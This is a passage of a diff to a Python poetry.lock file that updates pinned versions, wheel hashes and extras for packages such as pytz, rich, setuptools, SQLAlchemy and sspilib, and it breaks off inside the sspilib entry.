+1977,13 @@ defusedxml = ["defusedxml (>=0.6.0)"] [[package]] name = "pytz" -version = "2024.1" +version = "2024.2" description = "World timezone definitions, modern and historical" optional = false python-versions = "*" files = [ - {file = "pytz-2024.1-py2.py3-none-any.whl", hash = "sha256:328171f4e3623139da4983451950b28e95ac706e13f3f2630a879749e7a8b319"}, - {file = "pytz-2024.1.tar.gz", hash = "sha256:2a29735ea9c18baf14b448846bde5a48030ed267578472d8955cd0e7443a9812"}, + {file = "pytz-2024.2-py2.py3-none-any.whl", hash = "sha256:31c7c1817eb7fae7ca4b8c7ee50c72f93aa2dd863de768e1ef4245d426aa0725"}, + {file = "pytz-2024.2.tar.gz", hash = "sha256:2aa355083c50a0f93fa581709deac0c9ad65cca8a9e9beac660adcbd493c798a"}, ] [[package]] @@ -1961,18 +2025,19 @@ use-chardet-on-py3 = ["chardet (>=3.0.2,<6)"] [[package]] name = "rich" -version = "13.7.1" +version = "13.9.2" description = "Render rich text, tables, progress bars, syntax highlighting, markdown and more to the terminal" optional = false -python-versions = ">=3.7.0" +python-versions = ">=3.8.0" files = [ - {file = "rich-13.7.1-py3-none-any.whl", hash = "sha256:4edbae314f59eb482f54e9e30bf00d33350aaa94f4bfcd4e9e3110e64d0d7222"}, - {file = "rich-13.7.1.tar.gz", hash = "sha256:9be308cb1fe2f1f57d67ce99e95af38a1e2bc71ad9813b0e247cf7ffbcc3a432"}, + {file = "rich-13.9.2-py3-none-any.whl", hash = "sha256:8c82a3d3f8dcfe9e734771313e606b39d8247bb6b826e196f4914b333b743cf1"}, + {file = "rich-13.9.2.tar.gz", hash = "sha256:51a2c62057461aaf7152b4d611168f93a9fc73068f8ded2790f29fe2b5366d0c"}, ] [package.dependencies] markdown-it-py = ">=2.2.0" pygments = ">=2.13.0,<3.0.0" +typing-extensions = {version = ">=4.0.0,<5.0", markers = "python_version < \"3.11\""} [package.extras] jupyter = ["ipywidgets (>=7.5.1,<9)"] @@ -2005,19 +2070,23 @@ files = [ [[package]] name = "setuptools" -version = "71.1.0" +version = "75.2.0" description = "Easily download, build, install, upgrade, and uninstall Python packages" optional = false python-versions = ">=3.8" files = [ - {file = "setuptools-71.1.0-py3-none-any.whl", hash = "sha256:33874fdc59b3188304b2e7c80d9029097ea31627180896fb549c578ceb8a0855"}, - {file = "setuptools-71.1.0.tar.gz", hash = "sha256:032d42ee9fb536e33087fb66cac5f840eb9391ed05637b3f2a76a7c8fb477936"}, + {file = "setuptools-75.2.0-py3-none-any.whl", hash = "sha256:a7fcb66f68b4d9e8e66b42f9876150a3371558f98fa32222ffaa5bced76406f8"}, + {file = "setuptools-75.2.0.tar.gz", hash = "sha256:753bb6ebf1f465a1912e19ed1d41f403a79173a9acf66a42e7e6aec45c3c16ec"}, ] [package.extras] -core = ["importlib-metadata (>=6)", "importlib-resources (>=5.10.2)", "jaraco.text (>=3.7)", "more-itertools (>=8.8)", "ordered-set (>=3.1.1)", "packaging (>=24)", "platformdirs (>=2.6.2)", "tomli (>=2.0.1)", "wheel (>=0.43.0)"] -doc = ["furo", "jaraco.packaging (>=9.3)", "jaraco.tidelift (>=1.4)", "pygments-github-lexers (==0.0.5)", "pyproject-hooks (!=1.1)", "rst.linker (>=1.9)", "sphinx (>=3.5)", "sphinx-favicon", "sphinx-inline-tabs", "sphinx-lint", "sphinx-notfound-page (>=1,<2)", "sphinx-reredirects", "sphinxcontrib-towncrier"] -test = ["build[virtualenv] (>=1.0.3)", "filelock (>=3.4.0)", "importlib-metadata", "ini2toml[lite] (>=0.14)", "jaraco.develop (>=7.21)", "jaraco.envs (>=2.2)", "jaraco.path (>=3.2.0)", "jaraco.test", "mypy (==1.11.*)", "packaging (>=23.2)", "pip (>=19.1)", "pyproject-hooks (!=1.1)", "pytest (>=6,!=8.1.*)", "pytest-checkdocs (>=2.4)", "pytest-cov", "pytest-enabler (>=2.2)", "pytest-home (>=0.5)", "pytest-mypy", "pytest-perf", "pytest-ruff (<0.4)", "pytest-ruff (>=0.2.1)", "pytest-ruff (>=0.3.2)", "pytest-subprocess", "pytest-timeout", "pytest-xdist (>=3)", "tomli", "tomli-w (>=1.0.0)", "virtualenv (>=13.0.0)", "wheel"] +check = ["pytest-checkdocs (>=2.4)", "pytest-ruff (>=0.2.1)", "ruff (>=0.5.2)"] +core = ["importlib-metadata (>=6)", "importlib-resources (>=5.10.2)", "jaraco.collections", "jaraco.functools", "jaraco.text (>=3.7)", "more-itertools", "more-itertools (>=8.8)", "packaging", "packaging (>=24)", "platformdirs (>=2.6.2)", "tomli (>=2.0.1)", "wheel (>=0.43.0)"] +cover = ["pytest-cov"] +doc = ["furo", "jaraco.packaging (>=9.3)", "jaraco.tidelift (>=1.4)", "pygments-github-lexers (==0.0.5)", "pyproject-hooks (!=1.1)", "rst.linker (>=1.9)", "sphinx (>=3.5)", "sphinx-favicon", "sphinx-inline-tabs", "sphinx-lint", "sphinx-notfound-page (>=1,<2)", "sphinx-reredirects", "sphinxcontrib-towncrier", "towncrier (<24.7)"] +enabler = ["pytest-enabler (>=2.2)"] +test = ["build[virtualenv] (>=1.0.3)", "filelock (>=3.4.0)", "ini2toml[lite] (>=0.14)", "jaraco.develop (>=7.21)", "jaraco.envs (>=2.2)", "jaraco.path (>=3.2.0)", "jaraco.test", "packaging (>=23.2)", "pip (>=19.1)", "pyproject-hooks (!=1.1)", "pytest (>=6,!=8.1.*)", "pytest-home (>=0.5)", "pytest-perf", "pytest-subprocess", "pytest-timeout", "pytest-xdist (>=3)", "tomli-w (>=1.0.0)", "virtualenv (>=13.0.0)", "wheel (>=0.44.0)"] +type = ["importlib-metadata (>=7.0.2)", "jaraco.develop (>=7.21)", "mypy (==1.11.*)", "pytest-mypy"] [[package]] name = "shiv" @@ -2051,71 +2120,79 @@ files = [ [[package]] name = "soupsieve" -version = "2.5" +version = "2.6" description = "A modern CSS selector implementation for Beautiful Soup." optional = false python-versions = ">=3.8" files = [ - {file = "soupsieve-2.5-py3-none-any.whl", hash = "sha256:eaa337ff55a1579b6549dc679565eac1e3d000563bcb1c8ab0d0fefbc0c2cdc7"}, - {file = "soupsieve-2.5.tar.gz", hash = "sha256:5663d5a7b3bfaeee0bc4372e7fc48f9cff4940b3eec54a6451cc5299f1097690"}, + {file = "soupsieve-2.6-py3-none-any.whl", hash = "sha256:e72c4ff06e4fb6e4b5a9f0f55fe6e81514581fca1515028625d0f299c602ccc9"}, + {file = "soupsieve-2.6.tar.gz", hash = "sha256:e2e68417777af359ec65daac1057404a3c8a5455bb8abc36f1a9866ab1a51abb"}, ] [[package]] name = "sqlalchemy" -version = "2.0.31" +version = "2.0.36" description = "Database Abstraction Library" optional = false python-versions = ">=3.7" files = [ - {file = "SQLAlchemy-2.0.31-cp310-cp310-macosx_10_9_x86_64.whl", hash = "sha256:f2a213c1b699d3f5768a7272de720387ae0122f1becf0901ed6eaa1abd1baf6c"}, - {file = "SQLAlchemy-2.0.31-cp310-cp310-macosx_11_0_arm64.whl", hash = "sha256:9fea3d0884e82d1e33226935dac990b967bef21315cbcc894605db3441347443"}, - {file = "SQLAlchemy-2.0.31-cp310-cp310-manylinux_2_17_aarch64.manylinux2014_aarch64.whl", hash = "sha256:f3ad7f221d8a69d32d197e5968d798217a4feebe30144986af71ada8c548e9fa"}, - {file = "SQLAlchemy-2.0.31-cp310-cp310-manylinux_2_17_x86_64.manylinux2014_x86_64.whl", hash = "sha256:9f2bee229715b6366f86a95d497c347c22ddffa2c7c96143b59a2aa5cc9eebbc"}, - {file = "SQLAlchemy-2.0.31-cp310-cp310-musllinux_1_2_aarch64.whl", hash = "sha256:cd5b94d4819c0c89280b7c6109c7b788a576084bf0a480ae17c227b0bc41e109"}, - {file = "SQLAlchemy-2.0.31-cp310-cp310-musllinux_1_2_x86_64.whl", hash = "sha256:750900a471d39a7eeba57580b11983030517a1f512c2cb287d5ad0fcf3aebd58"}, - {file = "SQLAlchemy-2.0.31-cp310-cp310-win32.whl", hash = "sha256:7bd112be780928c7f493c1a192cd8c5fc2a2a7b52b790bc5a84203fb4381c6be"}, - {file = "SQLAlchemy-2.0.31-cp310-cp310-win_amd64.whl", hash = "sha256:5a48ac4d359f058474fadc2115f78a5cdac9988d4f99eae44917f36aa1476327"}, - {file = "SQLAlchemy-2.0.31-cp311-cp311-macosx_10_9_x86_64.whl", hash = "sha256:f68470edd70c3ac3b6cd5c2a22a8daf18415203ca1b036aaeb9b0fb6f54e8298"}, - {file = "SQLAlchemy-2.0.31-cp311-cp311-macosx_11_0_arm64.whl", hash = "sha256:2e2c38c2a4c5c634fe6c3c58a789712719fa1bf9b9d6ff5ebfce9a9e5b89c1ca"}, - {file = "SQLAlchemy-2.0.31-cp311-cp311-manylinux_2_17_aarch64.manylinux2014_aarch64.whl", hash = "sha256:bd15026f77420eb2b324dcb93551ad9c5f22fab2c150c286ef1dc1160f110203"}, - {file = "SQLAlchemy-2.0.31-cp311-cp311-manylinux_2_17_x86_64.manylinux2014_x86_64.whl", hash = "sha256:2196208432deebdfe3b22185d46b08f00ac9d7b01284e168c212919891289396"}, - {file = "SQLAlchemy-2.0.31-cp311-cp311-musllinux_1_2_aarch64.whl", hash = "sha256:352b2770097f41bff6029b280c0e03b217c2dcaddc40726f8f53ed58d8a85da4"}, - {file = "SQLAlchemy-2.0.31-cp311-cp311-musllinux_1_2_x86_64.whl", hash = "sha256:56d51ae825d20d604583f82c9527d285e9e6d14f9a5516463d9705dab20c3740"}, - {file = "SQLAlchemy-2.0.31-cp311-cp311-win32.whl", hash = "sha256:6e2622844551945db81c26a02f27d94145b561f9d4b0c39ce7bfd2fda5776dac"}, - {file = "SQLAlchemy-2.0.31-cp311-cp311-win_amd64.whl", hash = "sha256:ccaf1b0c90435b6e430f5dd30a5aede4764942a695552eb3a4ab74ed63c5b8d3"}, - {file = "SQLAlchemy-2.0.31-cp312-cp312-macosx_10_9_x86_64.whl", hash = "sha256:3b74570d99126992d4b0f91fb87c586a574a5872651185de8297c6f90055ae42"}, - {file = "SQLAlchemy-2.0.31-cp312-cp312-macosx_11_0_arm64.whl", hash = "sha256:6f77c4f042ad493cb8595e2f503c7a4fe44cd7bd59c7582fd6d78d7e7b8ec52c"}, - {file = "SQLAlchemy-2.0.31-cp312-cp312-manylinux_2_17_aarch64.manylinux2014_aarch64.whl", hash = "sha256:cd1591329333daf94467e699e11015d9c944f44c94d2091f4ac493ced0119449"}, - {file = "SQLAlchemy-2.0.31-cp312-cp312-manylinux_2_17_x86_64.manylinux2014_x86_64.whl", hash = "sha256:74afabeeff415e35525bf7a4ecdab015f00e06456166a2eba7590e49f8db940e"}, - {file = "SQLAlchemy-2.0.31-cp312-cp312-musllinux_1_2_aarch64.whl", hash = "sha256:b9c01990d9015df2c6f818aa8f4297d42ee71c9502026bb074e713d496e26b67"}, - {file = "SQLAlchemy-2.0.31-cp312-cp312-musllinux_1_2_x86_64.whl", hash = "sha256:66f63278db425838b3c2b1c596654b31939427016ba030e951b292e32b99553e"}, - {file = "SQLAlchemy-2.0.31-cp312-cp312-win32.whl", hash = "sha256:0b0f658414ee4e4b8cbcd4a9bb0fd743c5eeb81fc858ca517217a8013d282c96"}, - {file = "SQLAlchemy-2.0.31-cp312-cp312-win_amd64.whl", hash = "sha256:fa4b1af3e619b5b0b435e333f3967612db06351217c58bfb50cee5f003db2a5a"}, - {file = "SQLAlchemy-2.0.31-cp37-cp37m-macosx_10_9_x86_64.whl", hash = "sha256:f43e93057cf52a227eda401251c72b6fbe4756f35fa6bfebb5d73b86881e59b0"}, - {file = "SQLAlchemy-2.0.31-cp37-cp37m-manylinux_2_17_aarch64.manylinux2014_aarch64.whl", hash = "sha256:d337bf94052856d1b330d5fcad44582a30c532a2463776e1651bd3294ee7e58b"}, - {file = "SQLAlchemy-2.0.31-cp37-cp37m-manylinux_2_17_x86_64.manylinux2014_x86_64.whl", hash = "sha256:c06fb43a51ccdff3b4006aafee9fcf15f63f23c580675f7734245ceb6b6a9e05"}, - {file = "SQLAlchemy-2.0.31-cp37-cp37m-musllinux_1_2_aarch64.whl", hash = "sha256:b6e22630e89f0e8c12332b2b4c282cb01cf4da0d26795b7eae16702a608e7ca1"}, - {file = "SQLAlchemy-2.0.31-cp37-cp37m-musllinux_1_2_x86_64.whl", hash = "sha256:79a40771363c5e9f3a77f0e28b3302801db08040928146e6808b5b7a40749c88"}, - {file = "SQLAlchemy-2.0.31-cp37-cp37m-win32.whl", hash = "sha256:501ff052229cb79dd4c49c402f6cb03b5a40ae4771efc8bb2bfac9f6c3d3508f"}, - {file = "SQLAlchemy-2.0.31-cp37-cp37m-win_amd64.whl", hash = "sha256:597fec37c382a5442ffd471f66ce12d07d91b281fd474289356b1a0041bdf31d"}, - {file = "SQLAlchemy-2.0.31-cp38-cp38-macosx_10_9_x86_64.whl", hash = "sha256:dc6d69f8829712a4fd799d2ac8d79bdeff651c2301b081fd5d3fe697bd5b4ab9"}, - {file = "SQLAlchemy-2.0.31-cp38-cp38-macosx_11_0_arm64.whl", hash = "sha256:23b9fbb2f5dd9e630db70fbe47d963c7779e9c81830869bd7d137c2dc1ad05fb"}, - {file = "SQLAlchemy-2.0.31-cp38-cp38-manylinux_2_17_aarch64.manylinux2014_aarch64.whl", hash = "sha256:2a21c97efcbb9f255d5c12a96ae14da873233597dfd00a3a0c4ce5b3e5e79704"}, - {file = "SQLAlchemy-2.0.31-cp38-cp38-manylinux_2_17_x86_64.manylinux2014_x86_64.whl", hash = "sha256:26a6a9837589c42b16693cf7bf836f5d42218f44d198f9343dd71d3164ceeeac"}, - {file = "SQLAlchemy-2.0.31-cp38-cp38-musllinux_1_2_aarch64.whl", hash = "sha256:dc251477eae03c20fae8db9c1c23ea2ebc47331bcd73927cdcaecd02af98d3c3"}, - {file = "SQLAlchemy-2.0.31-cp38-cp38-musllinux_1_2_x86_64.whl", hash = "sha256:2fd17e3bb8058359fa61248c52c7b09a97cf3c820e54207a50af529876451808"}, - {file = "SQLAlchemy-2.0.31-cp38-cp38-win32.whl", hash = "sha256:c76c81c52e1e08f12f4b6a07af2b96b9b15ea67ccdd40ae17019f1c373faa227"}, - {file = "SQLAlchemy-2.0.31-cp38-cp38-win_amd64.whl", hash = "sha256:4b600e9a212ed59355813becbcf282cfda5c93678e15c25a0ef896b354423238"}, - {file = "SQLAlchemy-2.0.31-cp39-cp39-macosx_10_9_x86_64.whl", hash = "sha256:5b6cf796d9fcc9b37011d3f9936189b3c8074a02a4ed0c0fbbc126772c31a6d4"}, - {file = "SQLAlchemy-2.0.31-cp39-cp39-macosx_11_0_arm64.whl", hash = "sha256:78fe11dbe37d92667c2c6e74379f75746dc947ee505555a0197cfba9a6d4f1a4"}, - {file = "SQLAlchemy-2.0.31-cp39-cp39-manylinux_2_17_aarch64.manylinux2014_aarch64.whl", hash = "sha256:2fc47dc6185a83c8100b37acda27658fe4dbd33b7d5e7324111f6521008ab4fe"}, - {file = "SQLAlchemy-2.0.31-cp39-cp39-manylinux_2_17_x86_64.manylinux2014_x86_64.whl", hash = "sha256:8a41514c1a779e2aa9a19f67aaadeb5cbddf0b2b508843fcd7bafdf4c6864005"}, - {file = "SQLAlchemy-2.0.31-cp39-cp39-musllinux_1_2_aarch64.whl", hash = "sha256:afb6dde6c11ea4525318e279cd93c8734b795ac8bb5dda0eedd9ebaca7fa23f1"}, - {file = "SQLAlchemy-2.0.31-cp39-cp39-musllinux_1_2_x86_64.whl", hash = "sha256:3f9faef422cfbb8fd53716cd14ba95e2ef655400235c3dfad1b5f467ba179c8c"}, - {file = "SQLAlchemy-2.0.31-cp39-cp39-win32.whl", hash = "sha256:fc6b14e8602f59c6ba893980bea96571dd0ed83d8ebb9c4479d9ed5425d562e9"}, - {file = "SQLAlchemy-2.0.31-cp39-cp39-win_amd64.whl", hash = "sha256:3cb8a66b167b033ec72c3812ffc8441d4e9f5f78f5e31e54dcd4c90a4ca5bebc"}, - {file = "SQLAlchemy-2.0.31-py3-none-any.whl", hash = "sha256:69f3e3c08867a8e4856e92d7afb618b95cdee18e0bc1647b77599722c9a28911"}, - {file = "SQLAlchemy-2.0.31.tar.gz", hash = "sha256:b607489dd4a54de56984a0c7656247504bd5523d9d0ba799aef59d4add009484"}, + {file = "SQLAlchemy-2.0.36-cp310-cp310-macosx_10_9_x86_64.whl", hash = "sha256:59b8f3adb3971929a3e660337f5dacc5942c2cdb760afcabb2614ffbda9f9f72"}, + {file = "SQLAlchemy-2.0.36-cp310-cp310-macosx_11_0_arm64.whl", hash = "sha256:37350015056a553e442ff672c2d20e6f4b6d0b2495691fa239d8aa18bb3bc908"}, + {file = "SQLAlchemy-2.0.36-cp310-cp310-manylinux_2_17_aarch64.manylinux2014_aarch64.whl", hash = "sha256:8318f4776c85abc3f40ab185e388bee7a6ea99e7fa3a30686580b209eaa35c08"}, + {file = "SQLAlchemy-2.0.36-cp310-cp310-manylinux_2_17_x86_64.manylinux2014_x86_64.whl", hash = "sha256:c245b1fbade9c35e5bd3b64270ab49ce990369018289ecfde3f9c318411aaa07"}, + {file = "SQLAlchemy-2.0.36-cp310-cp310-musllinux_1_2_aarch64.whl", hash = "sha256:69f93723edbca7342624d09f6704e7126b152eaed3cdbb634cb657a54332a3c5"}, + {file = "SQLAlchemy-2.0.36-cp310-cp310-musllinux_1_2_x86_64.whl", hash = "sha256:f9511d8dd4a6e9271d07d150fb2f81874a3c8c95e11ff9af3a2dfc35fe42ee44"}, + {file = "SQLAlchemy-2.0.36-cp310-cp310-win32.whl", hash = "sha256:c3f3631693003d8e585d4200730616b78fafd5a01ef8b698f6967da5c605b3fa"}, + {file = "SQLAlchemy-2.0.36-cp310-cp310-win_amd64.whl", hash = "sha256:a86bfab2ef46d63300c0f06936bd6e6c0105faa11d509083ba8f2f9d237fb5b5"}, + {file = "SQLAlchemy-2.0.36-cp311-cp311-macosx_10_9_x86_64.whl", hash = "sha256:fd3a55deef00f689ce931d4d1b23fa9f04c880a48ee97af488fd215cf24e2a6c"}, + {file = "SQLAlchemy-2.0.36-cp311-cp311-macosx_11_0_arm64.whl", hash = "sha256:4f5e9cd989b45b73bd359f693b935364f7e1f79486e29015813c338450aa5a71"}, + {file = "SQLAlchemy-2.0.36-cp311-cp311-manylinux_2_17_aarch64.manylinux2014_aarch64.whl", hash = "sha256:d0ddd9db6e59c44875211bc4c7953a9f6638b937b0a88ae6d09eb46cced54eff"}, + {file = "SQLAlchemy-2.0.36-cp311-cp311-manylinux_2_17_x86_64.manylinux2014_x86_64.whl", hash = "sha256:2519f3a5d0517fc159afab1015e54bb81b4406c278749779be57a569d8d1bb0d"}, + {file = "SQLAlchemy-2.0.36-cp311-cp311-musllinux_1_2_aarch64.whl", hash = "sha256:59b1ee96617135f6e1d6f275bbe988f419c5178016f3d41d3c0abb0c819f75bb"}, + {file = "SQLAlchemy-2.0.36-cp311-cp311-musllinux_1_2_x86_64.whl", hash = "sha256:39769a115f730d683b0eb7b694db9789267bcd027326cccc3125e862eb03bfd8"}, + {file = "SQLAlchemy-2.0.36-cp311-cp311-win32.whl", hash = "sha256:66bffbad8d6271bb1cc2f9a4ea4f86f80fe5e2e3e501a5ae2a3dc6a76e604e6f"}, + {file = "SQLAlchemy-2.0.36-cp311-cp311-win_amd64.whl", hash = "sha256:23623166bfefe1487d81b698c423f8678e80df8b54614c2bf4b4cfcd7c711959"}, + {file = "SQLAlchemy-2.0.36-cp312-cp312-macosx_10_13_x86_64.whl", hash = "sha256:f7b64e6ec3f02c35647be6b4851008b26cff592a95ecb13b6788a54ef80bbdd4"}, + {file = "SQLAlchemy-2.0.36-cp312-cp312-macosx_11_0_arm64.whl", hash = "sha256:46331b00096a6db1fdc052d55b101dbbfc99155a548e20a0e4a8e5e4d1362855"}, + {file = "SQLAlchemy-2.0.36-cp312-cp312-manylinux_2_17_aarch64.manylinux2014_aarch64.whl", hash = "sha256:fdf3386a801ea5aba17c6410dd1dc8d39cf454ca2565541b5ac42a84e1e28f53"}, + {file = "SQLAlchemy-2.0.36-cp312-cp312-manylinux_2_17_x86_64.manylinux2014_x86_64.whl", hash = "sha256:ac9dfa18ff2a67b09b372d5db8743c27966abf0e5344c555d86cc7199f7ad83a"}, + {file = "SQLAlchemy-2.0.36-cp312-cp312-musllinux_1_2_aarch64.whl", hash = "sha256:90812a8933df713fdf748b355527e3af257a11e415b613dd794512461eb8a686"}, + {file = "SQLAlchemy-2.0.36-cp312-cp312-musllinux_1_2_x86_64.whl", hash = "sha256:1bc330d9d29c7f06f003ab10e1eaced295e87940405afe1b110f2eb93a233588"}, + {file = "SQLAlchemy-2.0.36-cp312-cp312-win32.whl", hash = "sha256:79d2e78abc26d871875b419e1fd3c0bca31a1cb0043277d0d850014599626c2e"}, + {file = "SQLAlchemy-2.0.36-cp312-cp312-win_amd64.whl", hash = "sha256:b544ad1935a8541d177cb402948b94e871067656b3a0b9e91dbec136b06a2ff5"}, + {file = "SQLAlchemy-2.0.36-cp313-cp313-macosx_10_13_x86_64.whl", hash = "sha256:b5cc79df7f4bc3d11e4b542596c03826063092611e481fcf1c9dfee3c94355ef"}, + {file = "SQLAlchemy-2.0.36-cp313-cp313-macosx_11_0_arm64.whl", hash = "sha256:3c01117dd36800f2ecaa238c65365b7b16497adc1522bf84906e5710ee9ba0e8"}, + {file = "SQLAlchemy-2.0.36-cp313-cp313-manylinux_2_17_aarch64.manylinux2014_aarch64.whl", hash = "sha256:9bc633f4ee4b4c46e7adcb3a9b5ec083bf1d9a97c1d3854b92749d935de40b9b"}, + {file = "SQLAlchemy-2.0.36-cp313-cp313-manylinux_2_17_x86_64.manylinux2014_x86_64.whl", hash = "sha256:9e46ed38affdfc95d2c958de328d037d87801cfcbea6d421000859e9789e61c2"}, + {file = "SQLAlchemy-2.0.36-cp313-cp313-musllinux_1_2_aarch64.whl", hash = "sha256:b2985c0b06e989c043f1dc09d4fe89e1616aadd35392aea2844f0458a989eacf"}, + {file = "SQLAlchemy-2.0.36-cp313-cp313-musllinux_1_2_x86_64.whl", hash = "sha256:4a121d62ebe7d26fec9155f83f8be5189ef1405f5973ea4874a26fab9f1e262c"}, + {file = "SQLAlchemy-2.0.36-cp313-cp313-win32.whl", hash = "sha256:0572f4bd6f94752167adfd7c1bed84f4b240ee6203a95e05d1e208d488d0d436"}, + {file = "SQLAlchemy-2.0.36-cp313-cp313-win_amd64.whl", hash = "sha256:8c78ac40bde930c60e0f78b3cd184c580f89456dd87fc08f9e3ee3ce8765ce88"}, + {file = "SQLAlchemy-2.0.36-cp37-cp37m-macosx_10_9_x86_64.whl", hash = "sha256:be9812b766cad94a25bc63bec11f88c4ad3629a0cec1cd5d4ba48dc23860486b"}, + {file = "SQLAlchemy-2.0.36-cp37-cp37m-manylinux_2_17_aarch64.manylinux2014_aarch64.whl", hash = "sha256:50aae840ebbd6cdd41af1c14590e5741665e5272d2fee999306673a1bb1fdb4d"}, + {file = "SQLAlchemy-2.0.36-cp37-cp37m-manylinux_2_17_x86_64.manylinux2014_x86_64.whl", hash = "sha256:4557e1f11c5f653ebfdd924f3f9d5ebfc718283b0b9beebaa5dd6b77ec290971"}, + {file = "SQLAlchemy-2.0.36-cp37-cp37m-musllinux_1_2_aarch64.whl", hash = "sha256:07b441f7d03b9a66299ce7ccf3ef2900abc81c0db434f42a5694a37bd73870f2"}, + {file = "SQLAlchemy-2.0.36-cp37-cp37m-musllinux_1_2_x86_64.whl", hash = "sha256:28120ef39c92c2dd60f2721af9328479516844c6b550b077ca450c7d7dc68575"}, + {file = "SQLAlchemy-2.0.36-cp37-cp37m-win32.whl", hash = "sha256:b81ee3d84803fd42d0b154cb6892ae57ea6b7c55d8359a02379965706c7efe6c"}, + {file = "SQLAlchemy-2.0.36-cp37-cp37m-win_amd64.whl", hash = "sha256:f942a799516184c855e1a32fbc7b29d7e571b52612647866d4ec1c3242578fcb"}, + {file = "SQLAlchemy-2.0.36-cp38-cp38-macosx_10_9_x86_64.whl", hash = "sha256:3d6718667da04294d7df1670d70eeddd414f313738d20a6f1d1f379e3139a545"}, + {file = "SQLAlchemy-2.0.36-cp38-cp38-macosx_11_0_arm64.whl", hash = "sha256:72c28b84b174ce8af8504ca28ae9347d317f9dba3999e5981a3cd441f3712e24"}, + {file = "SQLAlchemy-2.0.36-cp38-cp38-manylinux_2_17_aarch64.manylinux2014_aarch64.whl", hash = "sha256:b11d0cfdd2b095e7b0686cf5fabeb9c67fae5b06d265d8180715b8cfa86522e3"}, + {file = "SQLAlchemy-2.0.36-cp38-cp38-manylinux_2_17_x86_64.manylinux2014_x86_64.whl", hash = "sha256:e32092c47011d113dc01ab3e1d3ce9f006a47223b18422c5c0d150af13a00687"}, + {file = "SQLAlchemy-2.0.36-cp38-cp38-musllinux_1_2_aarch64.whl", hash = "sha256:6a440293d802d3011028e14e4226da1434b373cbaf4a4bbb63f845761a708346"}, + {file = "SQLAlchemy-2.0.36-cp38-cp38-musllinux_1_2_x86_64.whl", hash = "sha256:c54a1e53a0c308a8e8a7dffb59097bff7facda27c70c286f005327f21b2bd6b1"}, + {file = "SQLAlchemy-2.0.36-cp38-cp38-win32.whl", hash = "sha256:1e0d612a17581b6616ff03c8e3d5eff7452f34655c901f75d62bd86449d9750e"}, + {file = "SQLAlchemy-2.0.36-cp38-cp38-win_amd64.whl", hash = "sha256:8958b10490125124463095bbdadda5aa22ec799f91958e410438ad6c97a7b793"}, + {file = "SQLAlchemy-2.0.36-cp39-cp39-macosx_10_9_x86_64.whl", hash = "sha256:dc022184d3e5cacc9579e41805a681187650e170eb2fd70e28b86192a479dcaa"}, + {file = "SQLAlchemy-2.0.36-cp39-cp39-macosx_11_0_arm64.whl", hash = "sha256:b817d41d692bf286abc181f8af476c4fbef3fd05e798777492618378448ee689"}, + {file = "SQLAlchemy-2.0.36-cp39-cp39-manylinux_2_17_aarch64.manylinux2014_aarch64.whl", hash = "sha256:a4e46a888b54be23d03a89be510f24a7652fe6ff660787b96cd0e57a4ebcb46d"}, + {file = "SQLAlchemy-2.0.36-cp39-cp39-manylinux_2_17_x86_64.manylinux2014_x86_64.whl", hash = "sha256:c4ae3005ed83f5967f961fd091f2f8c5329161f69ce8480aa8168b2d7fe37f06"}, + {file = "SQLAlchemy-2.0.36-cp39-cp39-musllinux_1_2_aarch64.whl", hash = "sha256:03e08af7a5f9386a43919eda9de33ffda16b44eb11f3b313e6822243770e9763"}, + {file = "SQLAlchemy-2.0.36-cp39-cp39-musllinux_1_2_x86_64.whl", hash = "sha256:3dbb986bad3ed5ceaf090200eba750b5245150bd97d3e67343a3cfed06feecf7"}, + {file = "SQLAlchemy-2.0.36-cp39-cp39-win32.whl", hash = "sha256:9fe53b404f24789b5ea9003fc25b9a3988feddebd7e7b369c8fac27ad6f52f28"}, + {file = "SQLAlchemy-2.0.36-cp39-cp39-win_amd64.whl", hash = "sha256:af148a33ff0349f53512a049c6406923e4e02bf2f26c5fb285f143faf4f0e46a"}, + {file = "SQLAlchemy-2.0.36-py3-none-any.whl", hash = "sha256:fddbe92b4760c6f5d48162aef14824add991aeda8ddadb3c31d56eb15ca69f8e"}, + {file = "sqlalchemy-2.0.36.tar.gz", hash = "sha256:7f2767680b6d2398aea7082e45a774b2b0767b5c8d8ffb9c8b683088ea9b29c5"}, ] [package.dependencies] @@ -2128,7 +2205,7 @@ aioodbc = ["aioodbc", "greenlet (!=0.4.17)"] aiosqlite = ["aiosqlite", "greenlet (!=0.4.17)", "typing_extensions (!=3.10.0.1)"] asyncio = ["greenlet (!=0.4.17)"] asyncmy = ["asyncmy (>=0.2.3,!=0.2.4,!=0.2.6)", "greenlet (!=0.4.17)"] -mariadb-connector = ["mariadb (>=1.0.1,!=1.1.2,!=1.1.5)"] +mariadb-connector = ["mariadb (>=1.0.1,!=1.1.2,!=1.1.5,!=1.1.10)"] mssql = ["pyodbc"] mssql-pymssql = ["pymssql"] mssql-pyodbc = ["pyodbc"] @@ -2149,41 +2226,47 @@ sqlcipher = ["sqlcipher3_binary"] [[package]] name = "sspilib" -version = "0.1.0" +version = "0.2.0" description = "SSPI API bindings for Python" optional = false python-versions = ">=3.8" files = [ - {file = "sspilib-0.1.0-cp310-cp310-macosx_10_9_x86_64.whl", hash = "sha256:5e43f3e684e9d29c80324bd54f52dac65ac4b18d81a2dcd529dce3994369a14d"}, - {file = "sspilib-0.1.0-cp310-cp310-macosx_11_0_arm64.whl", hash = "sha256:1eb34eda5d362b6603707a55751f1eff81775709b821e51cb64d1d2fa2bb8b6e"}, - {file = "sspilib-0.1.0-cp310-cp310-manylinux_2_17_x86_64.manylinux2014_x86_64.whl", hash = "sha256:8ffe123f056f78cbe18aaed6b15f06e252020061c3387a72615abd46699a0b24"}, - {file = "sspilib-0.1.0-cp310-cp310-win32.whl", hash = "sha256:a4151072e28ec3b7d785beac9548a3d6a4549c431eb5487a5b8a1de028e9fef0"}, - {file = "sspilib-0.1.0-cp310-cp310-win_amd64.whl", hash = "sha256:2a19696c7b96b6bbef2b2ddf35df5a92f09b268476a348390a2f0da18cf29510"}, - {file = "sspilib-0.1.0-cp310-cp310-win_arm64.whl", hash = "sha256:d2778e5e2881405b4d359a604e2802f5b7a7ed433ff62d6073d04c203af10eb1"}, - {file = "sspilib-0.1.0-cp311-cp311-macosx_10_9_x86_64.whl", hash = "sha256:09d7f72ad5e4bbf9a8f1acf0d5f0c3f9fbe500f44c4a45ac24a99ece84f5654f"}, - {file = "sspilib-0.1.0-cp311-cp311-macosx_11_0_arm64.whl", hash = "sha256:1e5705e11aaa030a61d2b0a2ce09d2b8a1962dd950e55adc7a3c87dd463c6878"}, - {file = "sspilib-0.1.0-cp311-cp311-manylinux_2_17_x86_64.manylinux2014_x86_64.whl", hash = 